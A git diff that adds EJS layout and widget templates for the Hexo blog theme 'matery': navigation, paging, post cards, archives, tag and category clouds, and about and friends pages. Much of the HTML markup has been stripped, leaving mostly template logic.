    + <% if (config.description && config.description.length > 0) { %> + <%= config.description %> + <% } else { %> + Never really desperate, only the lost of the soul. + <% } %> +
    +
    + + <% + var menuMap = new Map(); + menuMap.set("Index", "首页"); + menuMap.set("Tags", "标签"); + menuMap.set("Categories", "分类"); + menuMap.set("Archives", "归档"); + menuMap.set("About", "关于"); + menuMap.set("Friends", "友情链接"); + %> + + +
    diff --git a/themes/hexo-theme-matery/layout/_partial/navigation.ejs b/themes/hexo-theme-matery/layout/_partial/navigation.ejs new file mode 100644 index 0000000..84be0da --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/navigation.ejs @@ -0,0 +1,30 @@ +<% + var menuMap = new Map(); + menuMap.set("Index", "首页"); + menuMap.set("Tags", "标签"); + menuMap.set("Categories", "分类"); + menuMap.set("Archives", "归档"); + menuMap.set("About", "关于"); + menuMap.set("Friends", "友情链接"); +%> + + + + +<%- partial('_partial/mobile-nav') %> \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/paging.ejs b/themes/hexo-theme-matery/layout/_partial/paging.ejs new file mode 100644 index 0000000..135d5b3 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/paging.ejs @@ -0,0 +1,31 @@ +
    +
    +
    + <% if (page.prev) { %> + + + + <% } else { %> + + + + <% } %> +
    +
    +
    <%- page.current %> / <%- page.total %>
    +
    +
    + <% if (page.next) { %> + + + + <% } else { %> + + + + <% } %> +
    +
    +
    diff --git a/themes/hexo-theme-matery/layout/_partial/post-cover.ejs b/themes/hexo-theme-matery/layout/_partial/post-cover.ejs new file mode 100644 index 0000000..ae5ddb7 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/post-cover.ejs @@ -0,0 +1,37 @@ +<% +var featureimg = '/medias/bg.jpg'; +if (page.img) { + featureimg = page.img; +} else { + var hashCode = function (str) { + if (!str && str.length === 0) { + return 0; + } + + var hash = 0; + for (var i = 0, len = str.length; i < len; i++) { + hash = ((hash << 5) - hash) + str.charCodeAt(i); + hash |= 0; + } + return hash; + }; + + var len = theme.featureImages.length; + var num = Math.abs(hashCode(page.title) % len); + featureimg = theme.featureImages[num]; +} +%> + +
    +
    +
    +
    +
    +
    + <%= page.title %> +
    +
    +
    +
    +
    +
    \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/post-detail-toc.ejs b/themes/hexo-theme-matery/layout/_partial/post-detail-toc.ejs new file mode 100644 index 0000000..84e844f --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/post-detail-toc.ejs @@ -0,0 +1,183 @@ + + +
    +
    + <%- partial('_partial/post-detail.ejs') %> +
    +
    +
    +
      <%- __('toc') %>
    +
    +
    +
    +
    + + +<% if (theme.toc.enable && theme.toc.showToggleBtn) { %> + +<% } %> + + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/post-detail.ejs b/themes/hexo-theme-matery/layout/_partial/post-detail.ejs new file mode 100644 index 0000000..e56f88d --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/post-detail.ejs @@ -0,0 +1,151 @@ + +
    +
    + +
    +
    +
    + <%- page.content %> +
    +
    + + <% if (theme.reward && theme.reward.enable) { %> + <%- partial('_partial/reward') %> + <% } %> + + <%- partial('_partial/share') %> + +
    +

    + +   <%= __('reprint') %>: + + <%- config.title %> + + <%= page.title %> +

    +
    +
    +
    + + <% if (theme.gitalk && theme.gitalk.enable) { %> + <%- partial('_partial/gitalk') %> + <% } %> + + <% if (theme.gitment.enable) { %> + <%- partial('_partial/gitment') %> + <% } %> + + <% if (theme.disqus.enable) { %> + <%- partial('_partial/disqus') %> + <% } %> + + <% if (theme.livere && theme.livere.enable) { %> + <%- partial('_partial/livere') %> + <% } %> + + <% if (theme.valine && theme.valine.enable) { %> + <%- partial('_partial/valine') %> + <% } %> + + <%- partial('_partial/prev-next') %> +
    + +<% if (theme.copyright.enable) { %> + +<% } %> diff --git a/themes/hexo-theme-matery/layout/_partial/post-statis.ejs b/themes/hexo-theme-matery/layout/_partial/post-statis.ejs new file mode 100644 index 0000000..d680e2a --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/post-statis.ejs @@ -0,0 +1,20 @@ +<% if (site.posts && site.posts.length > 0) { %> +
    + <%- site.posts.length %> + <%- __('posts') %> +
    +<% } %> + +<% if (site.categories && site.categories.length > 0) { %> +
    + <%- site.categories.length %> + <%- __('categories') %> +
    +<% } %> + +<% if (site.tags && site.tags.length > 0) { %> +
    + <%- site.tags.length %> + <%- __('tags') %> +
    +<% } %> \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/prev-next.ejs b/themes/hexo-theme-matery/layout/_partial/prev-next.ejs new file mode 100644 index 0000000..d7fb98a --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/prev-next.ejs @@ -0,0 +1,273 @@ +<% +var hashCode = function (str) { + if (!str && str.length === 0) { + return 0; + } + + var hash = 0; + for (var i = 0, len = str.length; i < len; i++) { + hash = ((hash << 5) - hash) + str.charCodeAt(i); + hash |= 0; + } + return hash; +}; + +var featureimg = '/medias/featureimages/0.jpg'; +var featureImages = theme.featureImages; +%> + +
    +
    + <% if (page.prev) { %> +
    +
    +  <%= __('prev') %>
    +
    + +
    + <% if (page.prev.img) { %> + <%- page.prev.title %> + <% } else { %> + <% + var len = featureImages.length; + var num = Math.abs(hashCode(page.prev.title) % len); + featureimg = featureImages[num]; + %> + <%- page.prev.title %> + <% } %> + <%- page.prev.title %> +
    +
    +
    +
    + <% if (page.prev.summary && page.prev.summary.length > 0) { %> + <%- page.prev.summary %> + <% } else { %> + <%- strip_html(page.prev.content).substring(0, 120) %> + <% } %> +
    +
    + + <%= date(page.prev.date, config.date_format) %> + + + <% if (page.prev.categories && page.prev.categories.length > 0) { %> + + <% page.prev.categories.forEach(category => { %> + + <% }); %> + <% } else if (page.prev.author && page.prev.author.length > 0) { %> + + <%- page.prev.author %> + <% } else { %> + + <%- config.author %> + <% } %> + +
    +
    + <% if(page.prev.tags && page.prev.tags.length > 0) { %> + + <% } %> +
    +
    + <% } else { %> +
    +
    +  <%= __('curr') %> +
    +
    + +
    + <% if (page.img) { %> + <%- page.title %> + <% } else { %> + <% + var len = featureImages.length; + var num = Math.abs(hashCode(page.title) % len); + featureimg = featureImages[num]; + %> + <%- page.title %> + <% } %> + <%- page.title %> +
    +
    +
    +
    + <% if (page.summary && page.summary.length > 0) { %> + <%- page.summary %> + <% } else { %> + <%- strip_html(page.content).substring(0, 120) %> + <% } %> +
    +
    + + <%= date(page.date, config.date_format) %> + + + <% if (page.categories && page.categories.length > 0) { %> + + <% page.categories.forEach(category => { %> + + <% }); %> + <% } else if (page.author && page.author.length > 0) { %> + + <%- page.author %> + <% } else { %> + + <%- config.author %> + <% } %> + +
    +
    + + <% if(page.tags && page.tags.length > 0) { %> + + <% } %> +
    +
    + <% } %> + <% if (page.next) { %> +
    +
    + <%= __('next') %>  +
    +
    + +
    + <% if (page.next.img) { %> + <%- page.next.title %> + <% } else { %> + <% + var len = featureImages.length; + var num = Math.abs(hashCode(page.next.title) % len); + featureimg = featureImages[num]; + %> + <%- page.next.title %> + <% } %> + <%- page.next.title %> +
    +
    +
    +
    + <% if (page.next.summary && page.next.summary.length > 0) { %> + <%- page.next.summary %> + <% } else { %> + <%- strip_html(page.next.content).substring(0, 120) %> + <% } %> +
    +
    + + <%= date(page.next.date, config.date_format) %> + + + <% if (page.next.categories && page.next.categories.length > 0) { %> + + <% page.next.categories.forEach(category => { %> + + <% }); %> + <% } else if (page.next.author && page.next.author.length > 0) { %> + + <%- page.next.author %> + <% } else { %> + + <%- config.author %> + <% } %> + +
    +
    + <% if(page.next.tags && page.next.tags.length > 0) { %> + + <% } %> +
    +
    + <% } else { %> +
    +
    + <%= __('curr') %>  +
    +
    + +
    + <% if (page.img) { %> + <%- page.title %> + <% } else { %> + <% + var len = featureImages.length; + var num = Math.abs(hashCode(page.title) % len); + featureimg = featureImages[num]; + %> + <%- page.title %> + <% } %> + <%- page.title %> +
    +
    +
    +
    + <% if (page.summary && page.summary.length > 0) { %> + <%- page.summary %> + <% } else { %> + <%- strip_html(page.content).substring(0, 120) %> + <% } %> +
    +
    + + <%= date(page.date, config.date_format) %> + + + <% if (page.categories && page.categories.length > 0) { %> + + <% page.categories.forEach(category => { %> + + <% }); %> + <% } else if (page.author && page.author.length > 0) { %> + + <%- page.author %> + <% } else { %> + + <%- config.author %> + <% } %> + +
    +
    + + <% if(page.tags && page.tags.length > 0) { %> + + <% } %> +
    +
    + <% } %> +
    +
    \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/reward.ejs b/themes/hexo-theme-matery/layout/_partial/reward.ejs new file mode 100644 index 0000000..09e7397 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/reward.ejs @@ -0,0 +1,123 @@ + + +
    + + + + +
    + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/search.ejs b/themes/hexo-theme-matery/layout/_partial/search.ejs new file mode 100644 index 0000000..08ef364 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/search.ejs @@ -0,0 +1,18 @@ + + + + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/share.ejs b/themes/hexo-theme-matery/layout/_partial/share.ejs new file mode 100644 index 0000000..ee527a0 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/share.ejs @@ -0,0 +1,11 @@ + + +
    + <% if (config.language && config.language.indexOf('zh') >= 0) { %> + + <% } else { %> + + <% } %> +
    + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/social-link.ejs b/themes/hexo-theme-matery/layout/_partial/social-link.ejs new file mode 100644 index 0000000..2201a5a --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/social-link.ejs @@ -0,0 +1,23 @@ +<% if (theme.socialLink.github) { %> + + + +<% } %> + +<% if (theme.socialLink.email) { %> + + + +<% } %> + +<% if (theme.socialLink.qq) { %> + + + +<% } %> + +<% if (config.feed && config.feed.path == 'atom.xml') { %> + + + +<% } %> \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_partial/valine.ejs b/themes/hexo-theme-matery/layout/_partial/valine.ejs new file mode 100644 index 0000000..3773315 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_partial/valine.ejs @@ -0,0 +1,258 @@ + + +
    +
    +
    + + + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_widget/category-cloud.ejs b/themes/hexo-theme-matery/layout/_widget/category-cloud.ejs new file mode 100644 index 0000000..af5dfba --- /dev/null +++ b/themes/hexo-theme-matery/layout/_widget/category-cloud.ejs @@ -0,0 +1,49 @@ +<% +var colorArr = ['#F9EBEA', '#F5EEF8', '#D5F5E3', '#E8F8F5', '#FEF9E7', + '#F8F9F9', '#82E0AA', '#D7BDE2', '#A3E4D7', '#85C1E9', '#F8C471', '#F9E79F', '#FFF']; +var colorCount = colorArr.length; +var hashCode = function (str) { + if (!str && str.length === 0) { + return 0; + } + + var hash = 0; + for (var i = 0, len = str.length; i < len; i++) { + hash = ((hash << 5) - hash) + str.charCodeAt(i); + hash |= 0; + } + return hash; +}; +var i = 0; +var isCategory = is_category(); +%> + +
    +
    +
    +
    +   <%= __('postCategoryTitle') %> +
    +
    + <% if (site.categories && site.categories.length > 0) { %> + <% site.categories.map(function(category) { %> + <% + i++; + var color = i >= colorCount ? colorArr[Math.abs(hashCode(category.name) % colorCount)] + : colorArr[i - 1]; + %> + + <%- category.name %> + <%- category.length %> + + + <% }); %> + <% } else { %> + <%= __('categoryEmptyTip') %> + <% } %> +
    +
    +
    +
    \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_widget/category-radar.ejs b/themes/hexo-theme-matery/layout/_widget/category-radar.ejs new file mode 100644 index 0000000..d917c4f --- /dev/null +++ b/themes/hexo-theme-matery/layout/_widget/category-radar.ejs @@ -0,0 +1,74 @@ + + +
    +
    +
    +
    +
    + + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_widget/dream.ejs b/themes/hexo-theme-matery/layout/_widget/dream.ejs new file mode 100644 index 0000000..47ca879 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_widget/dream.ejs @@ -0,0 +1,12 @@ +
    + <% if (theme.dream.showTitle) { %> +
    +   <%- theme.dream.title %> +
    + <% } %> +
    +
    + <%- theme.dream.text %> +
    +
    +
    \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_widget/music.ejs b/themes/hexo-theme-matery/layout/_widget/music.ejs new file mode 100644 index 0000000..2262bbe --- /dev/null +++ b/themes/hexo-theme-matery/layout/_widget/music.ejs @@ -0,0 +1,36 @@ +<% +var audiosJson = JSON.stringify(site.data.musics); +%> + + +
    + <% if (theme.music.showTitle) { %> +
    +   <%- theme.music.title %> +
    + <% } %> +
    +
    +
    +
    +
    +
    + + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_widget/my-gallery.ejs b/themes/hexo-theme-matery/layout/_widget/my-gallery.ejs new file mode 100644 index 0000000..c2bf5c4 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_widget/my-gallery.ejs @@ -0,0 +1,31 @@ +<% +// the gallery photos of theme _config.yml. +var gallery = theme.myGallery.data; +%> + + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_widget/my-projects.ejs b/themes/hexo-theme-matery/layout/_widget/my-projects.ejs new file mode 100644 index 0000000..5b2630a --- /dev/null +++ b/themes/hexo-theme-matery/layout/_widget/my-projects.ejs @@ -0,0 +1,27 @@ +<% +// the projects information of theme _config.yml. +var myprojects = theme.myProjects.data; +%> +
    +
    +   <%- __('myProjects') %> +
    +
    + <% if (myprojects) { %> + <% Object.keys(myprojects).forEach(function(project) { %> +
    +
    + + + + +
    <%- myprojects[project].desc %>
    +
    +
    + <% }); %> + <% } %> +
    +
    \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_widget/my-skills.ejs b/themes/hexo-theme-matery/layout/_widget/my-skills.ejs new file mode 100644 index 0000000..91d8b34 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_widget/my-skills.ejs @@ -0,0 +1,59 @@ +<% +// the skills information of theme _config.yml. +var mySkills = theme.mySkills.data; +var topSkillArr = []; +%> +
    +
    +   <%- __('mySkills') %> +
    +
    + <% if (mySkills) { %> + <% Object.keys(mySkills).forEach(function(skill) { %> + <% topSkillArr.push(skill); %> +
    +
    +
    + <%- skill %> +
    +
    <%- mySkills[skill].percent %>
    +
    +
    + <% }); %> + <% } %> +
    + + <% + /** + * Determine if an element is included in the array. + * + * @param arr array + * @param value value + */ + var isInArray = function (arr, value) { + for (var i = 0; i < arr.length; i++) { + if (value == arr[i]) { + return true; + } + } + return false; + } + %> + + <% if (site.tags) { %> +
    +
      <%- __('otherSkills') %>
    +
    + <% site.tags.map(function(tag) { %> + <% if (!isInArray(topSkillArr, tag.name)) { %> + + <%- tag.name %> + + <% } %> + <% }); %> +
    +
    + <% } %> + +
    \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_widget/post-calendar.ejs b/themes/hexo-theme-matery/layout/_widget/post-calendar.ejs new file mode 100644 index 0000000..11a9642 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_widget/post-calendar.ejs @@ -0,0 +1,109 @@ +
    +
    +
    +
    +
    + + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_widget/post-charts.ejs b/themes/hexo-theme-matery/layout/_widget/post-charts.ejs new file mode 100644 index 0000000..8983add --- /dev/null +++ b/themes/hexo-theme-matery/layout/_widget/post-charts.ejs @@ -0,0 +1,218 @@ + + +
    +
    +   <%- __('postCharts') %> +
    +
    +
    +
    +
    + +
    +
    +
    + +
    +
    +
    +
    +
    + + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_widget/recommend.ejs b/themes/hexo-theme-matery/layout/_widget/recommend.ejs new file mode 100644 index 0000000..d2dfa86 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_widget/recommend.ejs @@ -0,0 +1,112 @@ +<% + // get all top posts. + var topPosts = []; + site.posts.forEach(function (post) { + if (post.top) { + topPosts.push(post); + } + }); + var topPostsCount = topPosts.length; +%> + +<% if (topPostsCount > 0) { %> +<% + var hashCode = function (str) { + if (!str && str.length === 0) { + return 0; + } + + var hash = 0; + for (var i = 0, len = str.length; i < len; i++) { + hash = ((hash << 5) - hash) + str.charCodeAt(i); + hash |= 0; + } + return hash; + }; + + var featureImages = theme.featureImages; + var imgCount = featureImages.length; + var bgColorArr = [ + 'linear-gradient(to right, #FF5E3A 0%, #FF2A68 100%)', + 'linear-gradient(to right, #EF4DB6 0%, #C643FC 100%)', + 'linear-gradient(to right, #1AD6FD 0%, #1D62F0 100%)', + 'linear-gradient(to right, #FFCC00 0%, #FF9500 100%)', + 'linear-gradient(to right, #4cbf30 0%, #0f9d58 100%)', + 'linear-gradient(to right, #C644FC 0%, #5856D6 100%)', + 'linear-gradient(to right, #55EFCB 0%, #5BCAFF 100%)']; + var colorCount = bgColorArr.length; +%> + +<% if (theme.recommend.showTitle) { %> +
      <%- __('recommendedPosts') %>
    +<% } %> +
    +<% if (topPostsCount % 2 === 0) { %> + <% for (var i = 0; i < topPostsCount; i++) { %> + <% + var post = topPosts[i]; + var featureImg = post.img ? post.img : featureImages[Math.abs(hashCode(post.title) % imgCount)]; + var bgColor = bgColorArr[i % colorCount]; + %> +
    1) { %>data-aos="zoom-in-up"<% } %>> +
    +
    +
    + <% post.categories.forEach(category => { %> + <%- category.name %> + <% }); %> +
    + +

    <%- post.title %>

    +
    +

    + <% if (post.summary && post.summary.length > 0) { %> + <%- post.summary %> + <% } else { %> + <%- strip_html(post.content).substring(0, 70) %> + <% } %> +

    + + <%- __('readMore') %> + +
    +
    +
    + <% } %> +<% } else { %> + <% for (var i = 0; i < topPostsCount; i++) { %> + <% + var post = topPosts[i]; + var grid = (i % 3 === 0) ? 's12' : 's12 m6'; + var description = (i % 3 === 0) ? strip_html(post.content).substring(0, 85) + : strip_html(post.content).substring(0, 70); + if (post.summary && post.summary.length > 0) { + description = post.summary; + } + var featureImg = post.img ? post.img : featureImages[Math.abs(hashCode(post.title) % imgCount)]; + var bgColor = bgColorArr[i % colorCount]; + %> +
    0) { %>data-aos="zoom-in-up"<% } %>> +
    +
    +
    + <% post.categories.forEach(category => { %> + <%- category.name %> + <% }); %> +
    + +

    <%- post.title %>

    +
    +

    <%- description %>

    + + <%- __('readMore') %> + +
    +
    +
    + <% } %> +<% } %> +
    +<% } %> diff --git a/themes/hexo-theme-matery/layout/_widget/tag-cloud.ejs b/themes/hexo-theme-matery/layout/_widget/tag-cloud.ejs new file mode 100644 index 0000000..785d207 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_widget/tag-cloud.ejs @@ -0,0 +1,45 @@ +<% +var colorArr = ['#F9EBEA', '#F5EEF8', '#D5F5E3', '#E8F8F5', '#FEF9E7', + '#F8F9F9', '#82E0AA', '#D7BDE2', '#A3E4D7', '#85C1E9', '#F8C471', '#F9E79F', '#FFF']; +var colorCount = colorArr.length; +var hashCode = function (str) { + if (!str && str.length === 0) { + return 0; + } + + var hash = 0; + for (var i = 0, len = str.length; i < len; i++) { + hash = ((hash << 5) - hash) + str.charCodeAt(i); + hash |= 0; + } + return hash; +}; +var i = 0; +var isTag = is_tag(); +%> + +
    +
    +
    +
    +   <%= __('postTagTitle') %> +
    +
    + <% site.tags.map(function(tag) { %> + <% + i++; + var color = i >= colorCount ? colorArr[Math.abs(hashCode(tag.name) % colorCount)] + : colorArr[i - 1]; + %> + + <%- tag.name %> + <%- tag.length %> + + + <% }); %> +
    +
    +
    +
    \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_widget/tag-wordcloud.ejs b/themes/hexo-theme-matery/layout/_widget/tag-wordcloud.ejs new file mode 100644 index 0000000..7dee1d1 --- /dev/null +++ b/themes/hexo-theme-matery/layout/_widget/tag-wordcloud.ejs @@ -0,0 +1,29 @@ + + + +
    +
    +
    +
    +
    + + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/_widget/video.ejs b/themes/hexo-theme-matery/layout/_widget/video.ejs new file mode 100644 index 0000000..e8de76c --- /dev/null +++ b/themes/hexo-theme-matery/layout/_widget/video.ejs @@ -0,0 +1,34 @@ + +
    + <% if (theme.video.showTitle) { %> +
    +   <%- theme.video.title %> +
    + <% } %> +
    +
    +
    style="height: <%- theme.video.height %>px;"<% } %>>
    +
    +
    +
    + + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/about.ejs b/themes/hexo-theme-matery/layout/about.ejs new file mode 100644 index 0000000..11368d4 --- /dev/null +++ b/themes/hexo-theme-matery/layout/about.ejs @@ -0,0 +1,63 @@ + + +<%- partial('_partial/bg-cover') %> + +
    + +
    +
    +
    +
    +
    + <%- partial('_partial/post-statis') %> +
    +
    +
    +
    + <%- config.author %> +
    +
    +
    + <%- partial('_partial/post-statis') %> +
    +
    <%- config.author %>
    +
    <%- theme.profile.career %>
    + +
    +
    +
    +
    + +
    +
    + +
    <%= theme.profile.introduction %>
    + + <%- partial('_widget/post-charts') %> + + <% if (theme.myProjects && theme.myProjects.enable) { %> + <%- partial('_widget/my-projects') %> + <% } %> + + <% if (theme.mySkills && theme.mySkills.enable) { %> + <%- partial('_widget/my-skills') %> + <% } %> + + <% if (theme.myGallery && theme.myGallery.enable) { %> + <%- partial('_widget/my-gallery') %> + <% } %> + +
    +
    +
    +
    \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/archive.ejs b/themes/hexo-theme-matery/layout/archive.ejs new file mode 100644 index 0000000..a278ab7 --- /dev/null +++ b/themes/hexo-theme-matery/layout/archive.ejs @@ -0,0 +1,132 @@ +<%- partial('_partial/bg-cover') %> + +
    + + <% if (theme.postCalendar) { %> + <%- partial('_widget/post-calendar') %> + <% } %> + + <% + /** + * hashCode function. + * + * @param str str + * @returns {number} + */ + var hashCode = function (str) { + if (!str && str.length === 0) { + return 0; + } + + var hash = 0; + for (var i = 0, len = str.length; i < len; i++) { + hash = ((hash << 5) - hash) + str.charCodeAt(i); + hash |= 0; + } + return hash; + }; + + // init year and month variable. + var year = '1970'; + var month = '1970-01'; + + // post feature image. + var featureimg = '/medias/featureimages/0.jpg'; + var featureImages = theme.featureImages; + %> + +
    + <% page.posts.each(function(post) { %> +
    + + <%# year. %> + <% if (date(post.date, 'YYYY') != year) { %> + <% year = date(post.date, 'YYYY'); %> + + <% } %> + + <%# month. %> + <% if (date(post.date, 'YYYY-MM') != month) { %> + <% + month = date(post.date, 'YYYY-MM'); + var m = date(post.date, 'MM') + %> +
    + <%- m %> +
    + <% } %> + + <%# every day posts. %> +
    + <%- date(post.date, 'YYYY-MM-DD').substring(8, 10) %> +
    +
    +
    +
    + +
    + <% if (post.img) { %> + <%- post.title %> + <% } else { %> + <% + var len = featureImages.length; + var num = Math.abs(hashCode(post.title) % len); + featureimg = featureImages[num]; + %> + <%- post.title %> + <% } %> + <%- post.title %> +
    +
    +
    +
    + <% if (post.summary && post.summary.length > 0) { %> + <%- post.summary %> + <% } else { %> + <%- strip_html(post.content).substring(0, 120) %> + <% } %> +
    +
    + + <%= date(post.date, config.date_format) %> + + + <% if (post.categories && post.categories.length > 0) { %> + + <% post.categories.forEach(category => { %> + + <% }); %> + <% } else if (post.author && post.author.length > 0) { %> + + <%- post.author %> + <% } else { %> + + <%- config.author %> + <% } %> + +
    +
    + + <% if (post.tags && post.tags.length) { %> + + <% } %> +
    +
    +
    +
    + <% }); %> +
    + +
    + +<% if (page.total > 1) { %> +<%- partial('_partial/paging') %> +<% } %> \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/categories.ejs b/themes/hexo-theme-matery/layout/categories.ejs new file mode 100644 index 0000000..7fcfb5a --- /dev/null +++ b/themes/hexo-theme-matery/layout/categories.ejs @@ -0,0 +1,11 @@ +<%- partial('_partial/bg-cover') %> + +
    + + <%- partial('_widget/category-cloud') %> + + <% if (site.categories && site.categories.length > 0) { %> + <%- partial('_widget/category-radar') %> + <% } %> + +
    diff --git a/themes/hexo-theme-matery/layout/category.ejs b/themes/hexo-theme-matery/layout/category.ejs new file mode 100644 index 0000000..21882df --- /dev/null +++ b/themes/hexo-theme-matery/layout/category.ejs @@ -0,0 +1,91 @@ +<%- partial('_partial/bg-cover') %> + +
    + + <%- partial('_widget/category-cloud') %> + + <% + var hashCode = function (str) { + if (!str && str.length === 0) { + return 0; + } + + var hash = 0; + for (var i = 0, len = str.length; i < len; i++) { + hash = ((hash << 5) - hash) + str.charCodeAt(i); + hash |= 0; + } + return hash; + }; + %> + +
    +
    + <% page.posts.sort('date').reverse().forEach(post => { %> +
    +
    + +
    + <% if (post.img) { %> + <%- post.title %> + <% } else { %> + <% + var len = theme.featureImages.length; + var num = Math.abs(hashCode(post.title) % len); + var featureimg = theme.featureImages[num]; + %> + <%- post.title %> + <% } %> + <%- post.title %> +
    +
    +
    +
    + <% if (post.summary && post.summary.length > 0) { %> + <%- post.summary %> + <% } else { %> + <%- strip_html(post.content).substring(0, 120) %> + <% } %> +
    +
    + + <%= date(post.date, config.date_format) %> + + + <% if (post.categories && post.categories.length > 0) { %> + + <% post.categories.forEach(category => { %> + + <% }); %> + <% } else if (post.author && post.author.length > 0) { %> + + <%- post.author %> + <% } else { %> + + <%- config.author %> + <% } %> + +
    +
    + + <% if (post.tags && post.tags.length) { %> + + <% } %> +
    +
    + <% }); %> +
    +
    +
    + +<% if (page.total > 1) { %> +<%- partial('_partial/paging') %> +<% } %> \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/friends.ejs b/themes/hexo-theme-matery/layout/friends.ejs new file mode 100644 index 0000000..37472ed --- /dev/null +++ b/themes/hexo-theme-matery/layout/friends.ejs @@ -0,0 +1,209 @@ +<%- partial('_partial/bg-cover') %> + + +
    +
    +
    + <% if (site.data && site.data.friends) { %> + <% var friends = site.data.friends; %> +
    + <% for (var i = 0, len = friends.length; i < len; i++) { %> + <% var friend = friends[i]; %> +
    +
    +
    +
    + img +
    +

    <%- friend.name %>

    +

    <%- friend.introduction %>

    +
    +
    + +
    +
    +
    + <% } %> +
    + <% } %> +
    +
    +
    \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/index.ejs b/themes/hexo-theme-matery/layout/index.ejs new file mode 100644 index 0000000..6133fcf --- /dev/null +++ b/themes/hexo-theme-matery/layout/index.ejs @@ -0,0 +1,128 @@ +<% if (is_home() && page.current === 1) { %> +<%- partial('_partial/index-cover') %> +<% } else { %> + <%- partial('_partial/bg-cover') %> +<% } %> + +
    + + <% if (page.current === 1) { %> +
    +
    +
    +
    + <% if (theme.dream.enable) { %> + <%- partial('_widget/dream') %> + <% } %> + + <% if (theme.music.enable && site.data && site.data.musics) { %> + <%- partial('_widget/music') %> + <% } %> + + <% if (theme.video.enable) { %> + <%- partial('_widget/video') %> + <% } %> + +
    + <%- partial('_widget/recommend') %> +
    +
    +
    +
    +
    + <% } %> + + <% + var hashCode = function (str) { + if (!str && str.length === 0) { + return 0; + } + + var hash = 0; + for (var i = 0, len = str.length; i < len; i++) { + hash = ((hash << 5) - hash) + str.charCodeAt(i); + hash |= 0; + } + return hash; + }; + %> + + +
    +
    + <% page.posts.forEach(post => { %> +
    +
    + +
    + <% if (post.img) { %> + <%- post.title %> + <% } else { %> + <% + var featureimg = '/medias/featureimages/0.jpg'; + var featureImages = theme.featureImages; + if (!featureImages || featureImages.length == 0) { + return featureimg; + } + + var len = featureImages.length; + var num = Math.abs(hashCode(post.title) % len); + featureimg = featureImages[num]; + %> + <%- post.title %> + <% } %> + <%- post.title %> +
    +
    + +
    +
    + <% if (post.summary && post.summary.length > 0) { %> + <%- post.summary %> + <% } else { %> + <%- strip_html(post.content).substring(0, 120) %> + <% } %> +
    +
    + + <%= date(post.date, config.date_format) %> + + + <% if (post.categories && post.categories.length > 0) { %> + + <% post.categories.forEach(category => { %> + + <% }); %> + <% } else if (post.author && post.author.length > 0) { %> + + <%- post.author %> + <% } else { %> + + <%- config.author %> + <% } %> + +
    +
    + + <% if(post.tags && post.tags.length > 0) { %> + + <% } %> +
    +
    + <% }); %> +
    +
    + +
    + +<% if (page.total > 1) { %> +<%- partial('_partial/paging') %> +<% } %> diff --git a/themes/hexo-theme-matery/layout/layout.ejs b/themes/hexo-theme-matery/layout/layout.ejs new file mode 100644 index 0000000..e431c4d --- /dev/null +++ b/themes/hexo-theme-matery/layout/layout.ejs @@ -0,0 +1,30 @@ + + +<%- partial('_partial/head') %> + + + +<%- partial('_partial/header') %> +<%- body %> +<%- partial('_partial/footer') %> + +<%- partial('_partial/search') %> +<%- partial('_partial/back-top') %> + + + + + + + + +<%- partial('_partial/google-analytics') %> +<% if (theme.clicklove.enable) { %> + +<% } %> +<% if (theme.busuanziStatistics && theme.busuanziStatistics.enable) { %> + +<% } %> + + + \ No newline at end of file diff --git a/themes/hexo-theme-matery/layout/post.ejs b/themes/hexo-theme-matery/layout/post.ejs new file mode 100644 index 0000000..5ce7dce --- /dev/null +++ b/themes/hexo-theme-matery/layout/post.ejs @@ -0,0 +1,40 @@ +<% if (theme.verifyPassword.enable) { %> + + +<% } %> + +<%- partial('_partial/post-cover') %> + +<% + var isTocEnable = theme.toc.enable && String(page.toc) !== 'false'; + var containerClass = isTocEnable ? 'post-container' : 'container'; +%> + +
    + + <% if (isTocEnable) { %> + <%- partial('_partial/post-detail-toc.ejs') %> + <% } else { %> + <%- partial('_partial/post-detail.ejs') %> + <% } %> + +
